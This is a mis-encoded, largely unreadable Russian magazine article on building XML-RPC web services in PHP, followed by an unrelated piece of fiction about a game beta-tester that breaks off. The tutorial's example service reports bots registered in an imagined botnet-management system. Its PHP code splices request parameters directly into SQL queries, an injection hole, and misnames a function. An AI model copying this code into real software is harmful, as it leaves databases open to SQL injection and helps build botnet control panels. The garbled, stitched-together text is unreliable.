ïî HTTP. Ñàìî ïðèëîæåíèå èõ èçâëåêàåò èç òåëà XML-äîêóìåíòà, íå-
êîòîðûì ñïîñîáîì èõ îáðàáàòûâàåò è ãåíåðèðóåò îòâåò, ïðåäñòàâëåí-
íûé â âèäå XML-äîêóìåíòà.
Êàê ëåãêî ïîíÿòü, ïîñëå ñîçäàíèÿ web-ñåðâèñà, íåîáõîäèìî íàêîëáà-
ñèòü è êëèåíòà, ÷òîáû êîíå÷íûå ïîëüçîâàòåëè ìîãëè èñïîëüçîâàòü ýòîò
ñåðâèñ. Äëÿ ýòîãî íåîáõîäèìî ïðåäîñòàâèòü èíôîðìàöèþ îá èíòåð-
ôåéñå ñåðâèñà, î åãî API. Ýòà èíôîðìàöèÿ, ñîáñòâåííî, è äåëàåò web-
ñåðâèñ äîñòóïíûì äëÿ âñåé Ñåòè, ïðåäîñòàâëÿÿ ñòîðîííèì ðàçðàáîò÷è-

êàì âîçìîæíîñòü ëåãêî è áûñòðî ïèñàòü ïðèëîæåíèÿ äëÿ îáùåíèÿ ñ
òâîèì ñåðâèñîì.
Â íàñòîÿùèé ìîìåíò óæå äàæå ñóùåñòâóåò ñïåöèàëüíûé ÿçûê
WSDL (Web Services Description Language � ßçûê Îïèñàíèÿ Web-
Ñåðâèñîâ), êîòîðûé àêòèâíî ðàçðàáàòûâàåòñÿ è ïðåäíàçíà÷åí êàê
ðàç äëÿ îïèñàíèÿ API-èíòåðôåéñîâ. Äóìàåòñÿ, ÷òî ïðè åãî èñïîëü-
çîâàíèè â íåêîòîðûõ ñëó÷àÿõ ðàçðàáîòêó êëèåíòîâ ìîæíî áóäåò âî-
îáùå àâòîìàòèçèðîâàòü.
Òàê æå ñåðâèñ îáëàäàåò íåêîòîðîé èäåíòèôèöèðóþùåé åãî èíôîðìà-
öèåé î òèïå è îïèñàíèè ïðåäîñòàâëÿåìîé èíôîðìàöèè � ýòè äàííûå
ïëàíèðóåòñÿ èñïîëüçîâàòü äëÿ ôîðìèðîâàíèÿ åäèíîé áàçû äàííûõ ñ
îïèñàíèåì âñåõ ñåðâèñîâ Èíòåðíåòà.

[îïèñàíèå] Íà ñàìîì äåëå, ÷òîáû ñîçäàâàòü web-ñåðâèñû è íå íàäî
çíàòü íè÷åãî î òîì, êàê ðàáîòàåò XML-RPC. Âåäü èñïîëüçîâàòü áðàóçåð
ìîæíî, íå ÷èòàÿ ñïåöèôèêàöèé HTTP. Íî òàêèå çíàíèÿ íå áóäóò ëèøíè-
ìè. Ïîýòîìó ìû ñ òîáîé ñåé÷àñ ðàçáåðåìñÿ ñ òåì, êàê ôóíêöèîíèðóåò è
óñòðîåí ïðîòîêîë, ðàññìîòðåâ íà ïðàêòèêå åãî ðàáîòó.
Çàïðîñ â XML-RPC ñîñòîèò èç äâóõ ÷àñòåé: ìåòîäà è áëîêà ïàðàìåòðîâ.
Êàæäîìó ìåòîäó ìîæíî ïîñòàâèòü â óñëîâíîå ñîîòâåòñòâèå íåêîòîðóþ
ôóíêöèþ, îïðåäåëåííóþ íà òâîåì ÿçûêå ïðîãðàììèðîâàíèÿ. Ïîíÿòíî,
÷òî ïàðàìåòðû � ýòî ïåðåäàâàåìûå íàøèì ôóíêöèÿì ïåðåìåííûå. Ïà-
ðàìåòðû ìîãóò áûòü ðàçíîòèïûå ïî ñâîåé ïðèðîäó: ñòðîêè, öåëûå ÷èñ-
ëà, ìàññèâû � ïîääåðæèâàþòñÿ îñíîâíûå ñòðóêòóðû äàííûõ. Ïîìèìî
ýòîãî â XML-RPC ïðèñóòñòâóþò äîïîëíèòåëüíûå òýãè äëÿ îáðàáîòêè
îøèáîê, íî ÿ îá ýòîì ðàññêàçûâàòü íå áóäó. Åñëè ýòî è âïðÿìü òåáå èí-
òåðåñíî, ñòîèò îáðàòèòüñÿ ê äîêóìåíòàöèè íà íàøåì äèñêå.
Âåñü ïðîöåññ âçàèìîäåéñòâèÿ ïðè ïîìîùè XML-RPC ìåæäó êëèåí-
òîì è ñåðâåðîì íà÷èíàåòñÿ ñ êëèåíòñêîãî çàïðîñà. Çàïðîñ âñåãäà ñî-
äåðæèò íàçâàíèå ìåòîäà, è, âîçìîæíî, íàáîð íåîáõîäèìûõ ïàðàìåò-
ðîâ. Ñåðâåðíàÿ ÷àñòü àíàëèçèðóåò çàïðîñ, âûïîëíÿåò íåîáõîäèìûå
äåéñòâèÿ è âîçâðàùàåò êëèåíòó îòâåò, ñîñòîÿùèé èç íàáîðà èíòåðå-
ñóþùèõ äàííûõ.
Ïî ñóùåñòâó òàêîå îáùåíèå ìàëî îòëè÷àåòñÿ îò ëîêàëüíîãî âûçîâà
ïðîöåäóð. Âñå òîæå ñàìîå: îïðåäåëÿåòñÿ èìÿ ôóíêöèè, ôèêñèðóåòñÿ

ñïåöèôèêàöèÿ ñòàíäàðòà XML-RPC

ÀËÜÒÅÐÍÀÒÈÂÍÛÅ ÏÏÀÊÅÒÛ
Âîîáùå, ðåàëèçàöèÿ XML_RPC åñòü
äëÿ êó÷è ñàìûõ ðàçíûõ ÿçûêîâ è â ñà-
ìûõ ðàçíûõ âàðèàíòàõ. Ïîëíûé ñïèñîê
âñåõ ðàçðàáîòîê ìîæíî íàéòè íà ñàéòå
www.xplrpc.com, íà ñòðàíèöå implemen-
tations. ß æå ðàññêàæó îá îñíîâíûõ
ðàçðàáîòêàõ, ïðåäíàçíà÷åííûõ äëÿ èñ-
ïîëüçîâàíèÿ ñîâìåñòíî ñ PHP.
!phpRPC (http://phprpc.sourceforge.net).
Ýòî êðóòîé è íàâîðî÷åííûé ïî ôóíê-
öèîíàëüíîñòè PHP-êëàññ. Ïðîãðàì-
ìèñòû, êîòîðûå åãî ñîçäàëè, ðåøèëè
íå îãðàíè÷èâàòü ñåáÿ òîëüêî ëèøü ãå-
íåðàöèåé è ïàðñèíãîì XML_RPC-
òðàíçàêöèé. Èõ äåòèùå ïðåäîñòàâëÿ-

åò âîçìîæíîñòè ïî âçàèìîäåéñòâèþ ñ
«àáñòðàêòíûìè», óäàëåííûìè áàçàìè
äàííûõ, ÷åðåç èíòåðôåéñ XML_RPC.
Âîîáùå, ïðîåêò ñîçäàåòñÿ äëÿ ñîâìå-
ñòíîãî èñïîëüçîâàíèÿ ñ Xoops.
!XMLRPC-EPI (http://xmlrpc-
epi.sourceforge.net). Ýòîò ïàêåò
ïðåäñòàâëÿåò ñîáîé êëàññ, íàïèñàí-
íûé íà C++ è, ñàìî ñîáîé, äëÿ óñòà-
íîâêè íåîáõîäèìî èìåòü äîñòàòî÷-
íûå ïðàâà è äîñòóï ê êîìïèëÿòîðó �
íàäî áóäåò ïåðåñîáèðàòü PHP. Ñàìî
ïðèëîæåíèå íå ïîðàæàåò ôóíêöèî-
íàëüíîñòüþ: îíî ëèøü ïàðñèò çàïðî-
ñû è îòâåòû XML-RPC, íî íå çàíèìà-
åòñÿ èõ ïåðåäà÷åé. Èñïîëüçîâàòü ýòó

øòóêó áåç êîíêðåòíîé è îñîçíàííîé
íåîáõîäèìîñòè â êîìïèëèðóåìîì ðå-
øåíèè ÿ áû íå ñîâåòîâàë.
!XML-RPC Client/Server Êåéòà Äå-
âèíñà (www.keithdevens.com/softwa-
re/xmlrpc). ×óâàê ïî èìåíè Êåéò íà-
ïèñàë, íàâåðíîå, ñàìûé óäîáíûé
äëÿ íîâè÷êîâ ïàêåò äëÿ ðàáîòû ñ
XML-RPC. Âñå ïðåäåëüíî ïðîñòî:
åñòü íàáîð îïèñàííûõ ôóíêöèé, êî-
òîðûå ïîäêëþ÷àþòñÿ ê òâîèì ñöåíà-
ðèÿì è ìîãóò ëåãêî èñïîëüçîâàòüñÿ.
Íèêàêîé âîçíè ñ îáúåêòàìè � âñå
ïðîñòî è ëèíåéíî. Ìîæíî ïîñîâåòî-
âàòü ýòîò ïàêåò òåì, êîãî ïóãàþò
ïðåëåñòè ÎÎÏ.
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íàáîð ïàðàìåòðîâ, ïîëó÷àåòñÿ ðåçóëüòàò ðàáîòû.
×òîáû íå áûòü ãîëîñëîâíûì, ðàññìîòðþ êîíêðåòíûé ïðèìåð XML-RPC-
çàïðîñà äëÿ ñåðâåðà:

[ïðèìåð çàïðîñà]

POST /xmlrpc.php HTTP/1.1
User-Agent: Cool XML-RPC Client v X.X
Host: cool.xml.rpc.service.com
Content-type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>getNumberBots</methodName>
<params>

<param><value><int>43</int></value></param>
</params>
</methodCall>

Îòâåò web-ñåðâèñà âûãëÿäèò ïðèìåðíî ñëåäóþùèì îáðàçîì:

[îòâåò web-ñåðâèñà]

HTTP/1.1 200 OK
Date: Mon, 10 Oct 2005 19:36:56 GMT
Server: Apache/1.3.29 (Unix)
X-Powered-By: PHP/5.0.1
Content-Length: 138
Connection: close
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>

<value><int>16</int></value>
</param>
</params>
</methodResponse>

Äóìàþ, íà ýòîì ìîæíî çàâåðøèòü ðàññêàç î ñàìîì ïðîòîêîëå XML-RPC.
Òû ïîëó÷èë ïðèìåðíîå ïðåäñòàâëåíèå î íåì, è ýòîãî äîñòàòî÷íî äëÿ
äàëüíåéøåãî ïîíèìàíèÿ ñòàòüè. Òåì áîëåå, ÷òî âñþ ðàáîòó ïî ñîñòàâëå-
íèþ, ïàðñèíãó çàïðîñîâ è îòâåòîâ áåðóò íà ñåáÿ ðàçëè÷íûå ðàñøèðåíèÿ,

êîòîðûå ìîæíî íàéòè ïî÷òè äëÿ ëþáîãî ÿçûêà ïðîãðàììèðîâàíèÿ. Îíè
ïîñòàâëÿþòñÿ â ñàìûõ ðàçíîîáðàçíûõ âàðèàíòàõ � â âèäå dll, PHP-êëàñ-
ñîâ è ìîäóëåé, äëÿ óñòàíîâêè êîòîðûõ íóæíî ïåðåñîáèðàòü èíòåðïðåòà-
òîð òâîåãî ÿçûêà. Ìû äëÿ ïðîñòîòû è óäîáñòâà áóäåì èñïîëüçîâàòü â íà-
øèõ ðàçðàáîòêàõ PHP. Â êà÷åñòâå ðåàëèçàöèè XML-RPC ÿ âûáðàë ïàêåò,
ïîñòàâëÿåìûé ÷åðåç PEAR: http://pear.php.net/package/XML_RPC. Ýòî
áûñòðî è óäîáíî. Åñëè òåáå èíòåðåñíî óçíàòü îá àëüòåðíàòèâíûõ ïàêå-
òàõ, òî ïî÷èòàòü îá ýòîì ìîæíî â ñîîòâåòñòâóþùåé âðåçêå.

[ñâîé ñåðâèñ] Ñåé÷àñ íàñòàëî âðåìÿ íàïèñàòü ñâîé ñîáñòâåííûé
web-ñåðâèñ. Äàâàé ñ òîáîé íàêîëáàñèì äëÿ íà÷àëà ýëåìåíòàðíûé ñåð-
âèñ ñ îäíèì-åäèíñòâåííûì ìåòîäîì. ×òî-íèáóäü ó÷åáíîå. Ïóñòü, ñêà-
æåì, íàø ñåðâèñ ïîëó÷àåò åäèíñòâåííûé ïàðàìåòð � äàòó è âîçâðàùà-
åò â îòâåò ÷èñëî çàðåãèñòðèðîâàííûõ â ýòîò äåíü áîòîâ, îñóùåñòâëÿÿ
ñîîòâåòñòâóþùèé çàïðîñ ñ áàçå äàííûõ. Ïåðâûì äåëîì óñòàíîâêè
PEAR-ðàñøèðåíèå XML_RPC:

$ pear install XML_RPC

Èëè ìîæíî ïðîñòî ðóêàìè ñêà÷àòü ñ ñàéòà àðõèâ ñ íóæíûìè ñêðèïòàìè.
Çàòåì óæå ìîæíî ïðèñòóïàòü ê íàïèñàíèþ ñåðâåðíîé ÷àñòè íàøåãî ïðè-
ëîæåíèÿ. Ëþáîå îïèñàíèå ñåðâèñà âñåãäà íà÷èíàåòñÿ ñ ïîäêëþ÷åíèÿ
ôàéëà Server.php, â êîòîðîì íàõîäèòñÿ îïèñàíèå âñåõ íåîáõîäèìûõ íàì
ñëóæåáíûõ êëàññîâ. Ïîñêîëüêó ÿ íå ïîëüçîâàëñÿ pear install, à ïðîñòî ñêî-
ïèðîâàë èñõîäíèêè â ïàïêó ñî ñêðèïòîì, òî ó ìåíÿ ýòî âûãëÿäèò âîò òàê:

require_once 'XML_RPC-1.4.3/Server.php';

Çàòåì íåîáõîäèìî îïðåäåëèòü ôóíêöèþ, êîòîðàÿ áóäåò âûïîëíÿòü çà-
äàííîå äåéñòâèå � ñ÷èòàòü áîòîâ, ÿ íàçâàë åå NumBots. ß ïðèâåäó åå
êîä è ïðîêîììåíòèðóþ åãî ÷óòü ïîçæå:

function NumBots($params) {
$param = $params->getParam(0);
if (!XML_RPC_Value::isValue($param)) {

return $param;
}
$re=mysql_query("select * from bots where date_reg='$param->scalarval()'");
$rn=mysql_num_rows($re);
$val = new XML_RPC_Value($rn, 'int');
return new XML_RPC_Response($val);
}

ñòðàíèöà ðàñøèðåíèÿ XML_RPC íà ñàéòå PEAR âîò òàê âûãëÿäèò îáùåíèå ìåæäó ñåðâåðîì è êëèåíòîì ïðè ïîìîùè XML_RPC

ØÈËÎ ÍÍÀ ÌÌÛËÎ
Òû íàâåðíÿêà ñëûøàë î òàêîé âå-
ùè, êàê ñòàíäàðò SOAP (Simple
Object Access Protocol). Ýòà òåõíî-
ëîãèÿ ñëóæèò äëÿ «óïàêîâêè» ðàç-
íîîáðàçíûõ äàííûõ ïðè îáìåíå
ìåæäó äâóìÿ óçëàìè êàêîé-òî ñèñ-
òåìû. SOAP � ýòî XML-ïðîòîêîë,
ðàáîòàþùèé ïîâåðõ îäíîãî èç ñòà-
ðûõ web-ïðîòîêîëîâ, ÷àùå âñåãî �
HTTP. Â íåêîòîðîì ñìûñëå, SOAP

� ýòî êîíêóðèðóþùèé ñ XML-RPC
ñòàíäàðò, êîòîðîìó äàæå õîòÿò
äàòü ðåêîìåíäàöèè W3C. SOAP
çíà÷èòåëüíî ñëîæíåå XML-RPC, îá
ýòîì àäåêâàòíî ìîæíî ñóäèòü ïî
îáúåìó ñïåöèôèêàöèè: äîêóìåíò,
îïèñûâàþùèé ðàáîòó SOAP, âåñèò
ïðèìåðíî â 10 ðàç áîëüøå, ÷åì
îïèñàíèå XML-RPC.
Ñðàâíèâàòü ýòè ñòàíäàðòû � çàíÿ-
òèå íåáëàãîäàðíîå, îäíàêî åñëè òåáå

èíòåðåñíî ïî÷èòàòü îá ýòîì, ñîâåòóþ
îáðàòèòüñÿ ê ñòàòüå XML-RPC vs
SOAP (http://weblog.masukomi.org/writ-
ings/xml-rpc_vs_soap.htm). Âîîáùå,
ñ÷èòàåòñÿ, ÷òî SOAP � ýòî áóäóùåå
ðàçðàáîòîê. Îäíàêî íå ñòîèò äóìàòü,
÷òî XML-RPC � ãíèëàÿ âåùü. Äåëî â
òîì, ÷òî ëþáîé XML-RPC çàïðîñ ìî-
æåò áûòü ëåãêî ïåðåêîíâåðòèðîâàí â
ñîîòâåòñòâóþùåå SOAP-ïðèëîæåíèå
ïðè ïîìîùè XSLT. 



Ëåãêî ïîíÿòü, ÷òî $params � ýòî ïåðåìåííàÿ
êëàññà, ïîëó÷åíèå ïàðàìåòðîâ îñóùåñòâëÿåòñÿ
ïðè ïîìîùè ìåòîäà getParam(). Çàòåì ïðîèñõî-
äèò ïðîâåðêà íà êîððåêòíîñòü ïîëó÷åííûõ äàí-
íûõ, ñîñòàâëÿåòñÿ ýëåìåíòàðíûé çàïðîñ, ñ÷èòà-
åòñÿ êîëè÷åñòâî âîçâðàùåííûõ çàïèñåé, ñîçäà-
åòñÿ íîâàÿ ïåðåìåííàÿ êëàññà XML_RPC_Value,
à çàòåì âîçâðàùàåòñÿ îòâåò ñåðâåðà.
Ïîñëå îïèñàíèÿ ïðîöåäóðû íåîáõîäèìî ñîç-
äàòü ýêçåìïëÿð XML_RPC_Server è ñîïîñòà-
âèòü ñèìâîëè÷åñêîìó ìåòîäó numberOfBots íà-
øó ôóíêöèþ NumBots. Äåëàåòñÿ ýòî òàê:

$server = new XML_RPC_Server(
array(

'numberOfBots' =>
array(

'function' => 'NumBots'
)

));
?>

Âîò, â îáùåì-òî, è âñå :). Ñîãëàñèñü, âñå ÷ðåçâû-
÷àéíî ïðîñòî. Íî ÷òîáû ïðèäàòü çàêîí÷åííîñòü
íàøåé ñèñòåìå, íåîáõîäèìî íàïèñàòü åùå êëèåíò-
ñêóþ ÷àñòü. Ïåðâàÿ ñòðîêà ó âñåõ êëèåíòîâ îäè-
íàêîâàÿ, íóæíî ïîäêëþ÷èòü ôàéë RPC.php:

require_once 'XML_RPC-1.4.3/RPC.php';

Çàòåì èç ïåðåäàâàåìîé GET'îì ïåðåìåííîé
$_GET[date_r] íóæíî ñäåëàòü ìàññèâ ïåðåìåí-
íûõ XML_RPC_Value:

$params = array(new XML_RPC_Value($_GET[da-
te_r], 'string'));

Îáðàòè âíèìàíèå, ÷òî êîíñòðóêòîð ýòîãî êëàñ-
ñà ïåðâûì ïàðàìåòðîì ïðèíèìàåò ñàìè äàí-
íûå, à âî âòîðîì óêàçûâàåòñÿ òèï � â íàøåì
ñëó÷àå � ñòðîêà string. Ïîñëå ýòîãî ñîçäàåòñÿ
RPC-ñîîáùåíèå, êîòîðîå âûçûâàåò ìåòîä, ïå-
ðåäàâàÿ åìó ïàðàìåòðû $params:

$msg = new XML_RPC_Message('numberOf-
Bots', $params);

Çàòåì íåîáõîäèìî ñîçäàòü êëèåíòà è îòîñëàòü
íàøå ñîîáùåíèå:

$cli = new XML_RPC_Client('/te/se.php', 'ired.inins.ru');
$resp = $cli->send($msg);

Ïîñëå ýòîãî ïðîèñõîäèò îáðàáîòêà îøèáîê:

if (!$resp) {
echo 'Îøèáêà ñâÿçè:' . $cli->errstr;
exit;

}
if (!$resp->faultCode()) { # Íå ñëó÷èëîñü îøèáîê

$val = $resp->value();
echo 'Çà '.$_GET[date_r].' çàðåãèñòðèðîâàíî

'.$val->scalarval().' áîòîâ';
} else {

echo 'Êîä îøèáêè: ' . $resp->faultCode() .
"\n";

echo 'Ïðè÷èíà îøèáêè: ' . $resp->faultString() . "\n";
}

Âîò òàê âûãëÿäèò ñîçäàíèå ýëåìåíòàðíîãî ñåð-
âèñà è êëèåíòà ê íåìó.

[ñòðóêòóðû ïîñëîæíåå] Òåïåðü ðàññêàæó î
òîì, êàêèì îáðàçîì âîçìîæíî òðàíñïîðòèðî-
âàòü íåñêàëÿðíûå ïåðåìåííûå âðîäå ìàññèâîâ
è ñòðóêòóð äàííûõ. Äåéñòâèòåëüíî, î÷åíü ÷àñòî
â ýòîì åñòü îãðîìíàÿ íåîáõîäèìîñòü. Íó, ñêà-

æåì, â íàøåé âîîáðàæàåìîé ðàñïðåäåëåííîé
ñèñòåìå óïðàâëåíèÿ áîòíåòîì ìîæåò ïîÿâèòüñÿ
íåîáõîäèìîñòü ïîëó÷èòü âñþ èíôîðìàöèþ î áî-
òàõ, çàðåãèñòðèðîâàííûõ çà îïðåäåëåííóþ äàòó
íà îïðåäåëåííîì ñåðâåðå, à íå ïðîñòî ïåðåñ÷è-
òàòü èõ, êàê ìû ýòî äåëàëè â ïðèìåðå âûøå.
Ñåé÷àñ ÿ ïîêàæó òåáå, êàêèì îáðàçîì ñåðâåð
ìîæåò îòâåòèòü êëèåíòó ìàññèâîì äàííûõ. Íî-
âàÿ ôóíêöèÿ, êîòîðàÿ áóäåò àññîöèèðîâàíà ñ
ìåòîäîì ViewBotInfo, êîòîðûé ìû äîáàâèì ê íà-
øåìó ñåðâèñó, íàçûâàåòñÿ BotInfo:

[ôóíêöèÿ, êîòîðàÿ âîçâðàùàåò ìàññèâ 
ñòðóêòóð ñ èíôîðìàöèåé î áîòàõ]

function BotInfro($params) {
$param = $params->getParam(0);
$re=mysql_query("select * from bots where
date_reg='$param->scalarval()'");
$val=new XML_RPC_Value();
$bots=array();
$i=0;
while($res=mysql_fetch_array($re)) {
$bots[$i]=new XML_RPC_Value(array(

"ip" => new XML_RPC_Value("$res[ip]"),
"country" => new XML_RPC_Value("$res[country]"),
"date_r" => new XML_RPC_Value("$res[date_r]")), "struct");

$i++;
}
$val->addArray($bots);
return new XML_RPC_Response($val);
}

Âèäíî, ÷òî â ïåðâûõ äâóõ ñòðî÷êàõ ôóíêöèè ÿ
ïîëó÷àþ ïàðàìåòð � äàòó äëÿ âûáîðêè è ñîç-
äàþ SQL-çàïðîñ ê áàçå äàííûõ. Çàòåì ñîçäàåò-
ñÿ ïåðåìåííàÿ $val êëàññà XML_RPC_Value,
èíèöèàëèçèðóåòñÿ ìàññèâ $bots c áîòàìè. Ïîñ-
ëå ýòîãî â öèêëå ïî âñåì âîçâðàùåííûì çàïðî-
ñîì çàïèñÿì òàáëèöû ýòîò ìàññèâ çàïîëíÿåòñÿ
ñòðóêòóðàìè, íåñóùèìè èíôîðìàöèþ î áîòàõ.
Ðàçóìååòñÿ, âñå ýòî óñëîâíî, ðåàëüíûå ñòðóê-
òóðû ìîãóò áûòü çíà÷èòåëüíî ñëîæíåå, íî îá-
ùèé ïðèíöèï èìåííî òàêîé.
Ïîñëå ýòîãî öèêëà, êîãäà ñîçäàí «ìàññèâ áî-
òîâ», íåîáõîäèìî èç ýòîãî ìàññèâà èçãîòîâèòü
ïåðåìåííóþ êëàññà XML_RPC_Value. Äëÿ ÷åãî
ê óæå ñîçäàííîìó îáúåêòó, ïðè ïîìîùè ìåòîäà
addArray(), äîáàâëÿåòñÿ íàø ìàññèâ.
Êëèåíòñêàÿ ñòîðîíà, êîòîðóþ òàê æå íåîáõîäè-
ìî ðåàëèçîâàòü, ðàáîòàåò àíàëîãè÷íî óæå ðà-
çîáðàííîìó ñëó÷àþ. Ñ òîé ëèøü ðàçíèöåé, ÷òî
$val = $resp->value() � ýòî íå ìàññèâ â ïðèâû÷-
íîì ïîíèìàíèè ýòîãî ñëîâà. Ýòî ïåðåìåííàÿ
XML_RPC_Value, à äîñòóï ê ýëåìåíòàì ìàññèâà
äîëæåí îñóùåñòâëÿòüñÿ ïðè ïîìîùè ìåòîäà
arraymem(). Íàïðèìåð, $val->arraymem(0) âåðíåò
ïåðåìåííóþ XML_RPC_Value ýëåìåíòà ñ íóëå-
âûì èíäåêñîì. Â íàøåì ñëó÷àå ýòî � ñòðóêòóðà
ñ èíôîðìàöèåé î áîòàõ. Ïîëó÷èòü êîíêðåòíûå
çíà÷åíèÿ ïîëåé ìîæíî ñëåäóþùèì îáðàçîì:
$val->arraymem(0)->structmem("ip")->scalarval().

[âûâîäû] Ìîæåò ïîêàçàòüñÿ, ÷òî èñïîëüçîâàíèå
ýòîé ñèñòåìû ïîäðàçóìåâàåò íåäþæèííûé îáúå-
êòíûé ãåìîððîé. È õîòü ýòî ìîæåò ñíà÷àëà ïîêà-
çàòüñÿ ãðîìîçäêèì è íåóäîáíûì, íî ýòî íå òàê.
Ñòîèò ïîðàáîòàòü ñ ñèñòåìîé õîòÿ áû 15 ìèíóò,
êàê âñå ñòàíîâèòñÿ ïîíÿòíî, ïðèâû÷íî è óäîáíî.
Åñëè æå òû íà äóõ íå ïåðåíîñèøü îáúåêòíûé
ïîäõîä, ñîâåòóþ îáðàòèòüñÿ ê äðóãèì ðåàëèçà-
öèÿì XML_RPC. Èíôîðìàöèþ î íèõ òû íàéäåøü
â ñîîòâåòñòâóþùåé âðåçêå. Âñå íàïå÷àòàííûå â
ñòàòüå ñêðèïòû, äîïîëíåííûå è äîïèñàííûå,
îôîðìëåííûå â âèäå ïîëíîöåííîãî òåñòîâîãî
ïðèìåðà, òû îòûùåøü íà íàøåì äèñêå, òàì æå
íàéäåòñÿ ìàññà íóæíîé äîêóìåíòàöèè 







Ïèñüìî îêàçàëîñü, ìÿãêî ãîâîðÿ, íåîæèäàííûì. Çàÿâêó òåñòåðà Àíäðåé
îñòàâèë íà ñàéòå êîìïàíèè 5 ëåò íàçàä. Òîãäà îí, êàê è âñå, î÷åíü æäàë
ýòó èãðó, íàäåÿëñÿ, ÷òî õîòÿ áû ïîëîâèíà çàÿâëåííûõ ðàçðàáîò÷èêàìè
âîçìîæíîñòåé ñáóäåòñÿ. 
Âïåðâûå î íà÷àëå ðàáîòû íàä èãðîé áûëî îáúÿâëåíî â 2001 ãîäó. Ìåçà
îáåùàëà ñîâåðøèòü ðåâîëþöèþ â ðåàëèñòè÷íîñòè êîìïüþòåðíûõ èãð.
Äâà ñêðèíøîòà, ïîëó÷åííûå èç íåèçâåñòíûõ èñòî÷íèêîâ è áîëüøå íàïî-
ìèíàþùèå ôîòîãðàôèè, áûëè òîìó íàãëÿäíûì ïîäòâåðæäåíèåì. Íî äà-
æå íå ôîòîðåàëèñòè÷íàÿ ãðàôèêà è èíòåðàêòèâíîñòü ïðèâëåêàëè ãåéìå-
ðîâ. Ïî óâåðåíèþ ðàçðàáîò÷èêîâ, äëÿ êàæäîãî èãðîêà ìèð Ìåçû ñòàíî-
âèëñÿ äðóãèì. Âêëþ÷àÿ îêðóæåíèå, ïåðñîíàæåé è ñîáûòèÿ. «Ìû íå ñîç-
äàåì ìèð. Ìû äàåì âîçìîæíîñòü èãðîêó ñàìîñòîÿòåëüíî ïîñòðîèòü òîò
ìèð, êîòîðûé îí õî÷åò», � ãîâîðèëîñü â íåáîëüøîì ïðåññ-ðåëèçå. Êàê
ýòî ðåàëèçîâàòü, íèêòî íå çíàë.
À ïîòîì áûëè äîëãèå ãîäû çàòèøüÿ. Æóðíàëèñòû ïåðâîå âðåìÿ ïûòà-
ëèñü âûóäèòü ñâåæóþ èíôîðìàöèþ î Ìåçå, íî ðàçðàáîò÷èêè îòêàçûâà-
ëèñü åå ïðåäîñòàâëÿòü. Îôèöèàëüíûé ñàéò «ÂÐ Èíñàéä», íà êîòîðîì
êîãäà-òî ìîæíî áûëî íàéòè êîå-êàêèå ïîäðîáíîñòè è îñòàâèòü çàÿâêó íà
áóäóùåå òåñòèðîâàíèå, ñî âðåìåíåì áûë çàêðûò. È âñå, êîíå÷íî, ïîäó-
ìàëè, ÷òî ïðîåêò çàìîðîçèëè. Âåäü ìíîãèå ñëèøêîì àìáèöèîçíûå ïðî-
åêòû æäåò èìåííî òàêàÿ ñóäüáà. È âîò òåïåðü ýòî ïèñüìî�
Àíäðåé âñïîìíèë, ÷òî Æîðèê òîæå ïîñûëàë òàêóþ çàÿâêó 5 ëåò íàçàä.
Äðóã êàê âñåãäà ñèäåë â àñüêå.
� Õàé. Òû òîæå ïîëó÷èë ïèñüìî îò «ÂÐÈ»? � îòïðàâèë åìó ìåññàãó Àíä-
ðåé.
� ×òî çà ÂÐÈ?
� «ÂÐ Èíñàéä». Ìåçà, ïîìíèøü?
� Åùå ïîìíþ, íî óæå íà÷èíàþ çàáûâàòü. Åå æå ïðèêðûëè?
� Ýòî ìû òàê äóìàåì. Ìíå â ÿùèê òîëüêî ÷òî ïðèñëàëè ìåññàãó ñ ïðèã-
ëàøåíèåì ñòàòü áåòà-òåñòåðîì.
� Íèôèãà ñåáå. Ìîæåò ðàçâîä?

� Íåïîõîæå. Àäðåñ èõ áûâøèé ðåàëüíûé. Äà è êîìó ýòî íàäî?
� ß áû òîæå ïîòåñòèë. Èíòåðåñíî, ÷òî ó íèõ â èòîãå âûøëî?
� Ïîñìîòðèì. Â ñðåäó ê íèì èäó, åñëè ÷òî, ðàññêàæó ïîòîì.
� Î�êåé.

* * *
Áóäèëüíèê áåñïîùàäíî çâîíèë íàä ñàìûì óõîì, íå äàâàÿ íèêàêîé âîç-
ìîæíîñòè ñíîâà çàñíóòü. Àíäðåé ñëàäêî ïîòÿíóëñÿ è âñêî÷èë ñ êîéêè.
Ïåðâûì äåëîì îí ïðîâåðèë ïî÷òó, íî ñðåäè ñïàìà íå îêàçàëîñü íè îäíî-
ãî ïîëåçíîãî ïèñüìà. Ïîñëå ýòîãî ïðî÷èòàë íîâûå ìåññàãè íà ðîäíûõ èã-
ðîâûõ ôîðóìàõ, îòâåòèâ íà íåêîòîðûå èç íèõ. È òîëüêî ïîòîì ïîøåë â
âàííóþ óìûâàòüñÿ è ÷èñòèòü çóáû. ×àñòî îí çàáûâàë ýòî äåëàòü, íî â
ýòîò äåíü õîòåë âûãëÿäåòü ïðèëè÷íî è äàæå îòêîïàë â íåäðàõ øêàôà ñâå-
æóþ ôóòáîëêó. Íàñêîëüêî îí ïîìíèë èç äàâíåãî îáúÿâëåíèÿ î íàáîðå
òåñòåðîâ, «ÂÐ Èíñàéä» îáåùàëà íåïëîõèå äåíüãè. À áàáëèøêî åìó ñåé-
÷àñ áû íå ïîìåøàëî. Ïîñëå òîãî êàê íåñêîëüêî ìåñÿöåâ íàçàä åãî óâîëè-
ëè ñ äîëæíîñòè äèçàéíåðà â ðåäàêöèè, Àíäðåé ïåðåáèâàëñÿ ðåäêèìè
ôðèëåíñ-çàêàçàìè. Çàðàáàòûâàë ðîâíî ñòîëüêî, ÷òîáû õâàòàëî íà îïëà-
òó îäíîêîìíàòíîé êâàðòèðû íà îêðàèíå Ìîñêâû, åäó è Èíòåðíåò. Åìó
áîëüøå íè÷åãî è íå íóæíî áûëî. Âñå ñâîå âðåìÿ Àíäðåé ïðîâîäèë â îí-
ëàéíîâûõ èãðàõ è Èíòåðíåòå, ãäå ÷óâñòâîâàë ñåáÿ êàê ðûáà â âîäå. Îí
óæå èìåë îïûò òåñòèðîâàíèÿ è äàæå ó÷àñòâîâàë â äîðàáîòêå ïîïóëÿðíîé
Guild Wars. Ñòàòü òåñòåðîì ïîïóëÿðíîé èãðû íå òàê ïðîñòî. Êîíêóðåíöèÿ
áûëà áîëüøàÿ, è íóæíî êàê-òî óáåäèòü ðàçðàáîò÷èêà, ÷òî èìåííî òû
ñïðàâèøüñÿ ñ çàäà÷åé ëó÷øå îñòàëüíûõ. Ïîýòîìó íåðåäêî ïðèõîäèòñÿ
